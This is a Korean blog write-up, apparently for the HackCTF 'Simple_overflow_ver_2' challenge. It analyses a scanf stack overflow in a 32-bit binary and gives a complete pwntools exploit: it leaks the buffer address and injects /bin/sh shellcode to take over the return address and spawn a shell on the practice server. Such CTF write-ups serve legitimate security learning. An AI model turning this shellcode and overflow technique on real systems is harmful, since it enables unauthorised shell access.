728x90
check
- 32bit
- 바로 앞의 문제와 같이 별다른 보호기법은 적용되어 있지않다.
Analyze
pseudo code
실행
- v5는 Again(y/n)에 대한 답을 저장하는 변수로, v5의 값이 121 또는 89인 동안 데이터를 입력받는 반복문이 지속된다. 이 때 121과 89는 각각 Y, y의 10진수값이다.
- v5는 ebp로부터 0x89byte떨어진 곳에 위치하고 scanf 함수를 통해 값을 입력받는다. 이 때 scanf에서 몇 바이트를 입력받는지 정해두지 않았기 때문에 버퍼 오버플로우가 발생할 수 있다. >> scanf("%c")로 문자를 입력받기 때문에 overflow 시키기에 적합하지 않다.
- 데이터는 s에 저장되고 16개씩 끊어 "주소: 값"이 출력되도록한다.
>> 쉘코드를 s에 저장하고 저장한 s의 처음 주소를 찾고, v5를 오버플로우하여 s를 오버플로우시켜 return address를 s의 시작주소로 한다.
Exploit
from pwn import *
#context.log_level = 'debug'
#p = process("./Simple_overflow_ver_2")
p = remote("ctf.j0n9hyun.xyz", 3006)
sh="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
p.sendlineafter("Data : ","A")
ret = int(p.recv(10),16)
pl = sh
pl += "A"*(0x88 - len(sh)+4)
pl += p32(ret)
p.sendlineafter("(y/n): ", 'y')
p.sendlineafter("Data : ", pl)
p.sendlineafter("(y/n): ", 'n')
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] BOF_PIE (0) | 2021.02.10 |
---|---|
[HackCTF] BASIC_FSB (0) | 2021.02.10 |
[HackCTF] x64 Simple_size_BOF (0) | 2021.02.09 |
[HackCTF] x64 Buffer Overflow (2) | 2021.02.05 |
[LOB] orc → wolfman (0) | 2021.02.05 |